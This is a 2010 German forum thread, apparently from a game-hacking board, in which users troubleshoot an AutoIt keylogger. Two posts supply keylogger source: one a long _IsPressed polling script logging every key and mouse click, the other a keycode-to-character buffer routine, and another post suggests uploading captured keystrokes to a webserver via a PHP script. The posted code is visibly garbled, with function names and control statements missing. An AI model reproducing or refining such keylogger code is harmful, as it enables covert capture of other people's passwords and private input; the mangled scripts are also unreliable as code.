@italien1995
Danke
07/30/2010, 21:33
#7
elite*gold: 0
Join Date: Sep 2009
Posts: 531
Received Thanks: 1,775
klappts?^^
07/30/2010, 21:46
#8
elite*gold: 0
Join Date: Mar 2009
Posts: 2,317
Received Thanks: 1,255
Quote:
Originally Posted by
italien1995
klappts?^^
du hast ihm doch geholfen...hast du es den auch getestet? ob da ein fehler kommt?
ich seh jetz schon, so wie es da jetz steht, klappt es
nicht.
07/30/2010, 21:57
#9
elite*gold: 0
Join Date: Sep 2009
Posts: 531
Received Thanks: 1,775
ich habs nicht wirklich getestet aber es solte klappen...
07/30/2010, 22:01
#10
elite*gold: 0
Join Date: Mar 2009
Posts: 2,317
Received Thanks: 1,255
Quote:
Originally Posted by
italien1995
ich habs nicht wirklich getestet aber es solte klappen...
nadann teste es doch einfach mal..
kopier es, füg es in einer au3 ein und drück F5.
es müssten min. 2fehler kommen, die ich direkt sehe, ohne es zu testen
07/30/2010, 22:01
#11
elite*gold: 0
Join Date: Mar 2009
Posts: 7,260
Received Thanks: 33,149
Fängt schon bei einer fehlenden Include-Datei an ("Misc.au3").
Funktionen werden außerdem nicht in Funktion definiert.
Die Funktion "Keylogger" gibt es auch nicht und beim Editfeld hast du das "$Edit1 = " entfernt.
PHP Code:
#cs ----------------------------------------------------------------------------
AutoIt Version : 3.3.6.1
: N290
Function:
Keylogger
#ce ----------------------------------------------------------------------------
; HotKeySet ( "^k" , "Keylogger" )
HotKeySet ( "^e" , "_Exit" )
#Region ### START Koda GUI section ### Form
$Form1 = GUICreate ( "Mini-Tool" , 262 , 256 , 192 , 124 )
$input1 = GUICtrlCreateInput ( "" , 80 , 48 , 97 , 21 )
$Label1 = GUICtrlCreateLabel ( "X-Achse" , 32 , 48 , 44 , 17 )
$Input2 = GUICtrlCreateInput ( "" , 80 , 80 , 97 , 21 )
$Label2 = GUICtrlCreateLabel ( "Y-Achse" , 32 , 80 , 44 , 17 )
$Label3 = GUICtrlCreateLabel ( "Mouse" , 96 , 16 , 62 , 28 )
GUICtrlSetFont (- 1 , 16 , 400 , 0 , "MS Sans Serif" )
$Label4 = GUICtrlCreateLabel ( "Keylogger" , 80 , 112 , 90 , 28 )
GUICtrlSetFont (- 1 , 16 , 400 , 0 , "MS Sans Serif" )
$Edit1 = GUICtrlCreateEdit ( "" , 32 , 144 , 185 , 89 )
GUISetState (@ SW_SHOW )
#EndRegion ### END Koda GUI section ###
While True
= GUIGetMsg ()
$nMsg
Case $GUI_EVENT_CLOSE
Exit
Mouse ()
write ()
WEnd
()
$pos = MouseGetPos ()
GUICtrlSetData ( $input1 , $pos [ 0 ])
GUICtrlSetData ( $input2 , $pos [ 1 ])
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
$dll = "user32.dll"
If _IsPressed ( "08" , $dll ) Then backspace ()
_IsPressed ( "09" , $dll ) Then tab ()
_IsPressed ( "0D" , $dll ) Then enter ()
_IsPressed ( "10" , $dll ) Then shift ()
_IsPressed ( "11" , $dll ) Then ctrl ()
_IsPressed ( "12" , $dll ) Then alt ()
_IsPressed ( "14" , $dll ) Then capslock ()
_IsPressed ( "1B" , $dll ) Then esc ()
_IsPressed ( "20" , $dll ) Then space ()
_IsPressed ( "25" , $dll ) Then PLinks ()
_IsPressed ( "26" , $dll ) Then POben ()
_IsPressed ( "27" , $dll ) Then PRechts ()
_IsPressed ( "28" , $dll ) Then PUnten ()
_IsPressed ( "30" , $dll ) Then _0 ()
_IsPressed ( "31" , $dll ) Then _1 ()
_IsPressed ( "32" , $dll ) Then _2 ()
_IsPressed ( "33" , $dll ) Then _3 ()
_IsPressed ( "34" , $dll ) Then _4 ()
_IsPressed ( "35" , $dll ) Then _5 ()
_IsPressed ( "36" , $dll ) Then _6 ()
_IsPressed ( "37" , $dll ) Then _7 ()
_IsPressed ( "38" , $dll ) Then _8 ()
_IsPressed ( "39" , $dll ) Then _9 ()
_IsPressed ( "41" , $dll ) Then _A ()
_IsPressed ( "42" , $dll ) Then _B ()
_IsPressed ( "43" , $dll ) Then _C ()
_IsPressed ( "44" , $dll ) Then _D ()
_IsPressed ( "45" , $dll ) Then _E ()
_IsPressed ( "46" , $dll ) Then _F ()
_IsPressed ( "47" , $dll ) Then _G ()
_IsPressed ( "48" , $dll ) Then _H ()
_IsPressed ( "49" , $dll ) Then _I ()
_IsPressed ( "4A" , $dll ) Then _J ()
_IsPressed ( "4B" , $dll ) Then _K ()
_IsPressed ( "4C" , $dll ) Then _L ()
_IsPressed ( "4D" , $dll ) Then _M ()
_IsPressed ( "4E" , $dll ) Then _N ()
_IsPressed ( "4F" , $dll ) Then _O ()
_IsPressed ( "50" , $dll ) Then _P ()
_IsPressed ( "51" , $dll ) Then _Q ()
_IsPressed ( "52" , $dll ) Then _R ()
_IsPressed ( "53" , $dll ) Then _S ()
_IsPressed ( "54" , $dll ) Then _T ()
_IsPressed ( "55" , $dll ) Then _U ()
_IsPressed ( "56" , $dll ) Then _V ()
_IsPressed ( "57" , $dll ) Then _W ()
_IsPressed ( "58" , $dll ) Then _X ()
_IsPressed ( "59" , $dll ) Then _Y ()
_IsPressed ( "5A" , $dll ) Then _Z ()
_IsPressed ( "60" , $dll ) Then _0Num ()
_IsPressed ( "61" , $dll ) Then _1Num ()
_IsPressed ( "62" , $dll ) Then _2Num ()
_IsPressed ( "63" , $dll ) Then _3Num ()
_IsPressed ( "64" , $dll ) Then _4Num ()
_IsPressed ( "65" , $dll ) Then _5Num ()
_IsPressed ( "66" , $dll ) Then _6Num ()
_IsPressed ( "67" , $dll ) Then _7Num ()
_IsPressed ( "68" , $dll ) Then _8Num ()
_IsPressed ( "69" , $dll ) Then _9Num ()
_IsPressed ( "6A" , $dll ) Then _multiplyNum ()
_IsPressed ( "6B" , $dll ) Then _plusNum ()
_IsPressed ( "6C" , $dll ) Then _enterNum ()
_IsPressed ( "6D" , $dll ) Then _minusNum ()
_IsPressed ( "6E" , $dll ) Then _kommaNum ()
_IsPressed ( "6F" , $dll ) Then _divideNum ()
_IsPressed ( "01" , $dll ) Then TasteLinks ()
_IsPressed ( "02" , $dll ) Then TasteRechts ()
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 0Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 1Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 2Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 3Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 4Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 5Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 6Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 7Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 8Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " 9Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " *Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " +Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " ENTER_Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " -Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " .Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " /Num " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " Löschelinks " )
Sleep ( 125 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " TAB " )
Sleep ( 125 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " Enter " )
Sleep ( 200 )
Sleep ( 500 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " SHIFT " )
Sleep ( 200 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " CTRL " )
Sleep ( 200 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " ALT " )
Sleep ( 200 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
Guictrlsetdata ( $Edit1 , $old & " CAPSLOCK " )
Sleep ( 200 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & " ESC " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & " Space " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & " PfeilLeft " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & " PfeilUp " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & " PfeilRight " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & " PfeilDown " )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "0" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "1" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "2" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "3" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "4" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "5" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "6" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "7" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "8" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "9" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "a" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "b" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "c" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "d" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "e" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "f" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "g" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "h" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "i" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "j" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "k" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "l" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "m" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "n" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "o" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "p" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "q" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "r" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "s" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "t" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "u" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "v" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "w" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "x" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "y" )
Sleep ( 75 )
EndFunc
()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "z" )
Sleep ( 75 )
EndFunc
()
$pos1 = MouseGetPos ()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "#MLEFT " & $pos1 [ 0 ]& " / " & $pos1 [ 1 ]& "#" )
Sleep ( 500 )
EndFunc
()
$pos2 = MouseGetPos ()
$old = GUICtrlRead ( $Edit1 )
GUICtrlSetData ( $Edit1 , $old & "#MRIGHT " & $pos2 [ 0 ]& " / " & $pos2 [ 1 ]& "#" )
Sleep ( 500 )
EndFunc
()
EndFunc
Ist aber nicht gerade die beste Möglichkeit.
07/30/2010, 22:35
#12
elite*gold: 0
Join Date: Mar 2008
Posts: 1,524
Received Thanks: 285
killerdeluxe wieso hilfst du jemandem bei sowas? :S
07/31/2010, 09:27
#13
elite*gold: 0
Join Date: Jul 2010
Posts: 103
Received Thanks: 43
@KillerDeluxe
Danke
Das nächste mal sollte ich genauer schaun
@bladerofdarkness
Keine Ahnung aber ich finde es nett das mir geholfen wird und nicht so wie
du mir jeden Thread verhaust.
.....Geile Sig! xD
07/31/2010, 16:01
#14
elite*gold: 0
Join Date: Mar 2009
Posts: 7,260
Received Thanks: 33,149
Quote:
Originally Posted by
bladerofdarknes
killerdeluxe wieso hilfst du jemandem bei sowas? :S
Wie gesagt, AutoIt eignet sich dafür nicht sonderlich gut, _IsPressed ist zwar ein Ansatz, aber man muss ein paar Sleeps einbauen, um nicht 1000 mal die selbe Taste abzufangen. Da ist auch schon das Problem, den es ist kein Problem 5+ Tasten in einer Sekunde zu drücken, da versauen die Sleeps das Vorhaben.
Und wer sowas nicht "schafft", bringt es nicht auf die Reihe diese Daten per E-Mail zu verschicken oder auf einen Webserver zu laden. Eine E-Mail im Script anzugeben wäre extrem dumm, da bleibt nur noch der Webserver. Für diesen dann ein PHP Script zu erstellen ist wieder eine andere Sache.
07/31/2010, 16:51
#15
elite*gold: 0
Join Date: Mar 2008
Posts: 1,524
Received Thanks: 285
naja wenn ihr schon bei so etwas helft werd ich es auch tun, mach das mit den eingaben lieber so (stammt aus einem etwas komplexeren script):
Code:
If (($KEYCODE > 64) And ($KEYCODE < 91)) Then
$BUFFER &= Chr($KEYCODE)
ElseIf ($KEYCODE = 48) Then
$BUFFER &= "="
ElseIf ($KEYCODE = 49) Then
$BUFFER &= "!"
ElseIf ($KEYCODE = 50) Then
$BUFFER &= " "
ElseIf ($KEYCODE = 51) Then
$BUFFER &= "§"
ElseIf ($KEYCODE = 52) Then
$BUFFER &= "$"
ElseIf ($KEYCODE = 53) Then
$BUFFER &= "%"
ElseIf ($KEYCODE = 54) Then
$BUFFER &= "&"
ElseIf ($KEYCODE = 55) Then
$BUFFER &= "/"
ElseIf ($KEYCODE = 56) Then
$BUFFER &= "("
ElseIf ($KEYCODE = 57) Then
$BUFFER &= ")"
ElseIf ($KEYCODE = 27) Then
$BUFFER &= "{ESC}"
ElseIf ($KEYCODE = 188) Then
$BUFFER &= ";"
ElseIf ($KEYCODE = 190) Then
$BUFFER &= ":"
ElseIf ($KEYCODE = 32) Then
$BUFFER &= " "
ElseIf ($KEYCODE = 13) Then
$BUFFER &= "{enter}"
ElseIf ($KEYCODE = 20) Then
$FEST = False
ElseIf ($KEYCODE = 8) Then
$BUFFER = StringTrimRight($BUFFER, 1)
ElseIf ($KEYCODE = 222) Then
$BUFFER &= "Ä"
ElseIf ($KEYCODE = 186) Then
$BUFFER &= "Ü"
ElseIf ($KEYCODE = 192) Then
$BUFFER &= "Ö"
EndIf
ElseIf $FEST = False Then
If (($KEYCODE > 47) And ($KEYCODE < 58)) Then
$BUFFER &= Chr($KEYCODE)
ElseIf ($KEYCODE = 65) Then
$BUFFER &= "a"
ElseIf ($KEYCODE = 66) Then
$BUFFER &= "b"
ElseIf ($KEYCODE = 67) Then
$BUFFER &= "c"
ElseIf ($KEYCODE = 68) Then
$BUFFER &= "d"
ElseIf ($KEYCODE = 69) Then
$BUFFER &= "e"
ElseIf ($KEYCODE = 70) Then
$BUFFER &= "f"
ElseIf ($KEYCODE = 71) Then
$BUFFER &= "g"
ElseIf ($KEYCODE = 72) Then
$BUFFER &= "h"
ElseIf ($KEYCODE = 73) Then
$BUFFER &= "i"
ElseIf ($KEYCODE = 74) Then
$BUFFER &= "j"
ElseIf ($KEYCODE = 75) Then
$BUFFER &= "k"
ElseIf ($KEYCODE = 76) Then
$BUFFER &= "l"
ElseIf ($KEYCODE = 77) Then
$BUFFER &= "m"
ElseIf ($KEYCODE = 78) Then
$BUFFER &= "n"
ElseIf ($KEYCODE = 79) Then
$BUFFER &= "o"
ElseIf ($KEYCODE = 80) Then
$BUFFER &= "p"
ElseIf ($KEYCODE = 81) Then
$BUFFER &= "q"
ElseIf ($KEYCODE = 82) Then
$BUFFER &= "r"
ElseIf ($KEYCODE = 83) Then
$BUFFER &= "s"
ElseIf ($KEYCODE = 84) Then
$BUFFER &= "t"
ElseIf ($KEYCODE = 85) Then
$BUFFER &= "u"
ElseIf ($KEYCODE = 86) Then
$BUFFER &= "v"
ElseIf ($KEYCODE = 87) Then
$BUFFER &= "w"
ElseIf ($KEYCODE = 88) Then
$BUFFER &= "x"
ElseIf ($KEYCODE = 89) Then
$BUFFER &= "y"
ElseIf ($KEYCODE = 90) Then
$BUFFER &= "z"
ElseIf ($KEYCODE = 27) Then
$BUFFER &= "{ESC}"
ElseIf ($KEYCODE = 188) Then
$BUFFER &= ","
ElseIf ($KEYCODE = 190) Then
$BUFFER &= "."
ElseIf ($KEYCODE = 32) Then
$BUFFER &= " "
ElseIf ($KEYCODE = 13) Then
$BUFFER &= "{enter}"
ElseIf ($KEYCODE = 20) Then
$FEST = True
ElseIf ($KEYCODE = 8) Then
$BUFFER = StringTrimRight($BUFFER, 1)
ElseIf ($KEYCODE = 222) Then
$BUFFER &= "ä"
ElseIf ($KEYCODE = 186) Then
$BUFFER &= "ü"
ElseIf ($KEYCODE = 192) Then
$BUFFER &= "ö"
ElseIf ($KEYCODE = 160) Then
$SHIFT = True
EndIf
EndIf
EndIf
core fehler aber ka was für einer
07/16/2010 - Metin2 Private Server - 19 Replies
habe problem mit core aber weiss nicht genau welchen da steht nur was von einer map die nicht geht.
http://i50.tinypic.com/1449rbr.jpg
hoffe ihr könnt mir helfen
mfg xXSamyXx
Ich glaub hab ein Fehler in CA...aber weiß nicht was für einer...!!
02/13/2010 - Combat Arms - 4 Replies
Also..
Ich starte ganz normal CA dann log ich mich halt wie ganz
normal ein dann wenn ich shop rein gehen will wird mein
bildschirm denn schwarz nicht komplett man sieht den Man
noch und hört die Effekte noch aber sehen tu ich nichts....
Wenn ihr mir Helfen könntet wäre schön und bekommt ein THX
Falsch beschreiben ? dann noch ma fragen was ihr
nicht verstanden habt versuche ich nochmal neu zu formulieren...!
Mache Browser aber Fehler
10/15/2009 - Main - 0 Replies
Hallo,
Ich bin dabei einen Browser zu machen, da ist aber ein Problem aufgetreten.
Hier die Screens:
Hier sind mann wie das Box Desing ist:
http://www.bilder-upload.eu/thumb/7GiwQosbbt1EAtN .jpg
S10 IST DA ABER MIT FEHLER
09/30/2008 - Metin2 - 2 Replies
hallo,
man kann sich jetz auf der metin2 Homepage das ranking von s10 ankuken aber wenn ich metin2 starte wird er nicht nicht angezeigt ! naja aber es ist noch niemand beim ranking.
der Server heißt Phelon ^^.
mfg Skryper
All times are GMT +2. The time now is 10:47 .
Fehler EndFunc aber ich seh das nicht
